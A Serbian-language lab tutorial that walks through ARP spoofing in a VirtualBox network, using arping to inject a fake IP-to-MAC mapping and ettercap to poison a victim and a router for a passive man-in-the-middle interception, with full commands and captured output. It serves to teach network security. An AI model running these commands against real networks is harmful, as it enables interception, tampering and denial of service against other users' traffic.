======ARP Spoofing u LAN====== U //LAN// povezanoj kablovima, računari obično imaju direktnu (//point-to-point//) vezu sa centralnim svičem. Takođe, ruter može da bude povezan na taj svič, i da se ponaša kao kapija (//gateway//) između računara na //LAN//-u i spoljašnjih mreža, npr. Interneta. Da li je u takvoj mreži moguće da zlonamerni korisnik (računar) vidi pakete poslate od drugih računara ka ruteru? U opštem slučaju nije moguće, zato što sav saobraćaj poslat sa računara ide do sviča kablom koji direktno povezuje računar sa svičem i onda od sviča direktnim kablom ka ruteru. Drugi računar, ako nema fizički pristup bilo kom od ova dva kabla ne može da prestretne saobraćaj. Ipak moguće je da zlonamerni računar presretne saobraćaj drugih računara na //LAN//-u ako uspe da ih ubedi da je on, u stvari, ruter. U tom slučaju, normalni računar šalje svoje pakete ka zlonamernom računaru (misleći da ih šalje ka ruteru), a onda zlonamerni računar može da prosledi te pakete (izmenjene ili neizmenjene) ka pravom ruteru. Takav zlonamerni računar izvodi čovek-u-sredini (//man-in-the-middle MITM//) napad. Jedan od načina da se prevare drugi računari tako da misle da je zlonamerni računar ruter je da se koristi //ARP spoofing// napad. U daljem tekstu biće simuliran ARP spoofing napad na virtualnoj mreži konfigurisanoj u VirtualBox-u. =====1. Podešavanje okruženja===== Na osnovnoj virtualnoj mašini potrebno je instalirati dodatne pakete: student@osnovna:~$ sudo apt-get install tcpdump iputils-arping ettercap-text-only Potrebno je konfigurisati virtualnu mrežu kao na slici ispod. VirtualBox automatski kreira virtualne svičeve kojima su povezani računari. Na slici to su neta i netb. {{:virtnet-topology-06.png?600|Tražena konfiguracija virtualne mreže}} Traženu konfiguraciju moguće je napraviti pomoću skripte topologija.kreiraj (''bash topologija.kreiraj 6''). U datoj konfiguraciji **node1** predstavlja računar koga želimo da prevarimo, **node2** je zlonameran računar i **node3** je ruter ka spoljašnjoj mreži. =====2. ARP tabela===== Da bi videli trenutnu ARP tabelu na računaru, koristićemo alat ''arp'' (opcija -n služi da se ne bi prikazivala imena domena, već samo IP adrese): student@node1:~$ arp -n Address HWtype HWaddress Flags Mask Iface 10.0.2.2 ether 52:54:00:12:35:02 C eth0 10.0.2.3 ether 52:54:00:12:35:03 C eth0 Na **node1** imamo dva //LAN// interfejsa, ''eth0'' i ''eth1''. ''Eth0'' se koristi za pristup //NAT//-u. Redovi u arp tabeli se odnose na taj interfejs. U daljem tekstu nećemo analizirati ovaj interfejs. Možemo konektovati lokalni ruter, 192.168.1.1, korišćenjem alata ''ping''. U isto vreme koristićemo alat ''tcpdump'' da uhvatimo poslate pakete. Prvo ćemo pokrenuti ''tcpdump'', koji će uhvatiti pakete sa interfejsa ''eth1'' i prikazivaće samo //ARP// i //ICMP// pakete (''ping'' koristi ICMP), takođe izlaz će biti prosleđen u fajl tcpdump.log: student@node1:~$ sudo -b tcpdump -u -i eth1 -e 'arp or icmp' -w /home/student/tcpdump.log Tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes Sada možemo da otkucamo sledeće: student@node1:~$ ping -c 3 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.40 ms 64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.626 ms 64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.725 ms --- 192.168.1.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2000ms rtt min/avg/max/mdev = 0.626/0.917/1.402/0.346 ms ''Ping'' je uspešno izvršen. Treba primetiti da je vreme potrebno da se izvrsi prva poruka za skoro 1ms veće od vremena druge dve poruke. Razlog za toliku razliku u vremenu je taj što je, pre prvog ping-a, korišćen ARP. **Node1** mora da pronađe hardversku adresu za IP adresu 192.168.1.1. To možemo da pogledamo iz izlaza ''tcpdump'' komande: student@node1:~$ sudo pkill tcpdump student@node1:~$ tcpdump -r tcpdump.log 21:00:55.241004 ARP, Request who-has 192.168.1.1 tell 192.168.1.11, length 28 21:00:55.241757 ARP, Reply 192.168.1.1 is-at 08:00:27:ea:cd:23 (oui Unknown), length 28 21:00:55.241778 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 1, length 64 21:00:55.242364 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 1, length 64 21:00:56.242579 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 2, length 64 21:00:56.243181 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 2, length 64 21:00:57.241580 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 3, length 64 21:00:57.242280 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 3, length 64 21:01:00.256551 ARP, Request who-has 192.168.1.11 tell 192.168.1.1, length 28 21:01:00.256618 ARP, Reply 192.168.1.11 is-at 08:00:27:fd:66:f1 (oui Unknown), length 28 U ARP tabeli je sada upisana hardverska adresa za 192.168.1.1: student@node1:~$ arp -n Address HWtype HWaddress Flags Mask Iface 192.168.1.1 ether 08:00:27:ea:cd:23 C eth1 10.0.2.2 ether 52:54:00:12:35:02 C eth0 10.0.2.3 ether 52:54:00:12:35:03 C eth0 ARP tabela sadrži hardverske adrese za uređaje koji su skorije povezani. Posle nekoliko minuta bez kontakta i adresa će biti automatki izbrisana iz tabele (ARP će morati opet da se koristi da bi se našla hardverska adresa). Takođe, moguće je i ručno ukloniti adresu iz tabele: student@node1:~$ sudo arp -d 192.168.1.1 student@node1:~$ arp -n Address HWtype HWaddress Flags Mask Iface 192.168.1.1 (incomplete) eth1 10.0.2.2 ether 52:54:00:12:35:02 C eth0 10.0.2.3 ether 52:54:00:12:35:03 C eth0 Hardverska adresa za 192.168.1.1 nepoznata. U prethodnom primeru korišćen je ''ping'' da bi se posredno pozvao ARP. Takođe, moguće je koristiti i specijalizovan alat ''arping'' da bi se pronašla hardverska adresa. ''Arping'' alatom se šalje ARP zahtev za navedenu IP adresu. Ponovo ćemo uključiti i ''tcpdump'' da bi videli koji su paketi poslati: student@node1:~$ sudo -b tcpdump -u -i eth1 -e 'arp or icmp' -w /home/student/tcpdump.log student@node1:~$ sudo arping -c 1 -I eth1 192.168.1.1 ARPING 192.168.1.1 from 192.168.1.11 eth1 Unicast reply from 192.168.1.1 [08:00:27:EA:CD:23] 1.186ms Sent 1 probes (1 broadcast(s)) Received 1 response(s) Ako pogledamo pakete uhvaćene alatom tcpdump videćemo ARP zahtev i ARP odgovor: student@node1:~$ sudo pkill tcpdump student@node1:~$ tcpdump -r tcpdump.log 23:24:31.955080 ARP, Request who-has 192.168.1.1 (Broadcast) tell 192.168.1.11, length 28 23:24:31.955788 ARP, Reply 192.168.1.1 is-at 08:00:27:ea:cd:23 (oui Unknown), length 28 =====3. Lažna IP adresa===== Sada želimo da zlonameran računar (u našoj mreži **node2**) koristi lažnu IP adresu, tako da drugi računari u LAN-u povežu tu lažnu IP adresu sa hardverskom adresom zlonamernog računara. Prvo na zlonamernom računaru moramo da podesimo operativni sistem tako da dozvoli aplikacijama povezivanje na ne-lokalne IP adrese. Drugim rečima, da dozvoli aplikacijama da postave izvornu adresu paketa na neku IP adresu koja nije adresa tog računara. Na Linux-u ova opcija je onemogućena (//disabled//). To je parametar jezgra OS-a ''net.ipv4.ip_nonlocal_bind''. Da bi smo videli i promenili vrednost ovog parametra koristimo alat ''sysctl'': student@node2:~$ sudo sysctl net.ipv4.ip_nonlocal_bind net.ipv4.ip_nonlocal_bind = 0 student@node2:~$ sudo sysctl net.ipv4.ip_nonlocal_bind=1 net.ipv4.ip_nonlocal_bind = 1 Stvarna IP adresa računara node2 je 192.168.1.12: student@node2:~$ ifconfig eth1 eth1 Link encap:Ethernet HWaddr 08:00:27:95:cc:31 inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe95:cc31/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11 errors:0 dropped:0 overruns:0 frame:0 TX packets:7 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:718 (718.0 B) TX bytes:578 (578.0 B) Koristićemo alat ''arping'' sa zlonamernog računara **node2** da bi poslali ARP zahtev ka računaru **node1** koji sadrži lažnu IP adresu 192.168.1.5 i hardversku adresu interfejsa ''eth1'' računara **node2**. Lažna IP adresa 192.168.5 je nasumično izabrana neupotrebljena IP adresa: student@node2:~$ sudo arping -c 1 -U -s 192.168.1.5 -I eth1 192.168.11 ARPING 192.168.1.11 from 192.168.1.5 eth1 Sent 1 probes (1 broadcast(s)) Received 0 response(s) ARP tabela na računaru **node1**: student@node1:~$ arp -n Address HWtype HWaddress Flags Mask Iface 192.168.1.5 ether 08:00:27:95:cc:31 C eth1 192.168.1.1 ether 08:00:27:ea:cd:23 C eth1 10.0.2.2 ether 52:54:00:12:35:02 C eth0 10.0.2.3 ether 52:54:00:12:35:03 C eth0 Kada god računar **node1** želi da pošalje podatke na adresu 192.168.5, on će ih poslati na hardversku adresu 08:00:27:95:cc:31 koja je adresa računara **node2**. To može da se testira tako što će računar node1 da ping-uje adresu 192.168.5, a da se alatom ''tcpdump'' na računaru node2 uhvate ICMP poruke. =====4. Čovek-u-sredini (MITM) napad===== Iz prethodog primera smo videli da zlonameran računar može da koristi ARP tako da se predstavi kao neko drugi na //LAN//-u. Ovu osobinu je moguće iskoristiti tako da se zlonameran računar **node2** predstavi računaru **node1** kao ruter (u našem slučaju **node3**), a ruteru **node3** kao **node1**. Na taj način sve što računar **node1** pošalje ka ruteru **node3** će u stvari biti poslato računaru **node2**, i sve što ruter **node3** pošalje računaru **node1** će u stvari biti poslato računaru **node2**. U tom slučaju zlonameran računar **node2** može da: *Uništi pristigle pakete i tako izvede napad denial-of-service na računaru **node1** i ruteru **node3**. *Zapamti primljene podatke i prosledi ih, nepromenjene, ka pravoj destinaciji. Ovo je pasivni presretački napad. *Izmeni podatke i prosledi ih ka pravoj destinaciji. Ovo je aktivni presretački napad. Zlonamerni računar **node2** je, u odnosu na poslate pakete, između računara **node1** i rutera **node3** pa je na osnovu toga ovaj napad dobio naziv __čovek-u-sredini__ (//MITM//). Analiziraćemo pasivan presretački napad. Koristićemo alat ''ettercap'' da bi smo automatizovali sve korake pri korišćenju ARP za lažno povezivanje IP i hardverske adrese na računaru **node1** i ruteru **node3** tj. za //MITM// napad (parametra -M arp alata ettercap). Takođe, pokrenućemo i alat ''tcpdump'' da bi smo videli prosledjene pakete. student@node2:~$ sudo -b ettercap -i eth1 -T -M arp /192.168.1.11// /192.168.1.1// #[1mettercap 0.8.0#[0m copyright 2001-2013 Ettercap Development Team Listening on: eth1 -> 08:00:27:95:CC:31 192.168.1.12/255.255.255.0 fe80::a00:27ff:fe95:cc31/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 16074 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.11 08:00:27:FD:66:F1 GROUP 2 : 192.168.1.1 08:00:27:EA:CD:23 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help student@node2:~$ sudo tcpdump -u -i eth1 -e 'arp or icmp ''Ettercap'' koristi ARP da bi poslao pogrešnu hardversku adresu žrtvama. Ako pogledamo ARP tabelu računara **node1** i rutera **node3** videćemo da je hardverska adresa uparena sa odgovarajućim IP adresama u stvari hardverska adresa zlonamernog računara **node2**. student@node1:~$ arp -n Address HWtype HWaddress Flags Mask Iface 10.0.2.3 ether 52:54:00:12:35:03 C eth0 192.168.1.12 ether 08:00:27:95:cc:31 C eth1 192.168.1.1 ether 08:00:27:95:cc:31 C eth1 10.0.2.2 ether 52:54:00:12:35:02 C eth0 student@node3:~$ arp -n Address HWtype HWaddress Flags Mask Iface 10.0.2.3 ether 52:54:00:12:35:03 C eth0 192.168.1.12 ether 08:00:27:95:cc:31 C eth1 10.0.2.2 ether 52:54:00:12:35:02 C eth0 192.168.1.11 ether 08:00:27:95:cc:31 C eth1 Sada možemo da pošaljemo neki paket sa računara **node1** ka ruteru. U ovom slučaju koristićemo alat ''ping''. U isto vreme možemo da posmatramo izlaz iz alata ''tcpdump'' na računaru **node2**. student@node1:~$ ping -c 1 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=8.06 ms --- 192.168.1.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 8.065/8.065/8.065/0.000 ms Izlaz iz alata ''tcpdump'' sa računara node2: 17:09:48.038302 ARP, Reply 192.168.1.1 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:48.038384 ARP, Reply 192.168.1.11 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:51.632094 IP 192.168.1.11 > 192.168.1.1: ''''**ICMP echo request**'''', id 1055, seq 1, length 64 17:09:51.633519 IP 192.168.1.11 > 192.168.1.1: ''''**ICMP echo request**'''', id 1055, seq 1, length 64 17:09:51.634106 IP 192.168.1.1 > 192.168.1.11: ''''**ICMP echo reply**'''', id 1055, seq 1, length 64 17:09:51.637230 IP 192.168.1.1 > 192.168.1.11: ''''**ICMP echo reply**'''', id 1055, seq 1, length 64 17:09:58.048624 ARP, Reply 192.168.1.1 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:58.048679 ARP, Reply 192.168.1.11 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 Zlonamerni računar **node2** hvata ICMP zahtev poslat sa računara **node1** ka ruteru **node3**. Možemo videti da je, u stvari, računar node1 poslao zahtev na zlonameran računar node2, a da je onda računar **node2** posla isti paket ruteru **node3**. Zlonameran računar node2 je došao u posed kopije svih podataka iz komunikacije između računara node1 i rutera node3, a da ni računar node1 ni ruter node3 nisu svesni toga. ''Ettercap'' je moćan program koji može da izvede i druge tipove //MITM// napada. Koristeći alate ''ettercap'', ''arping'' i slično može da se proširi znanje o napadima i kasnije popravi sigurnost računarske mreže i aplikacija koje pravimo.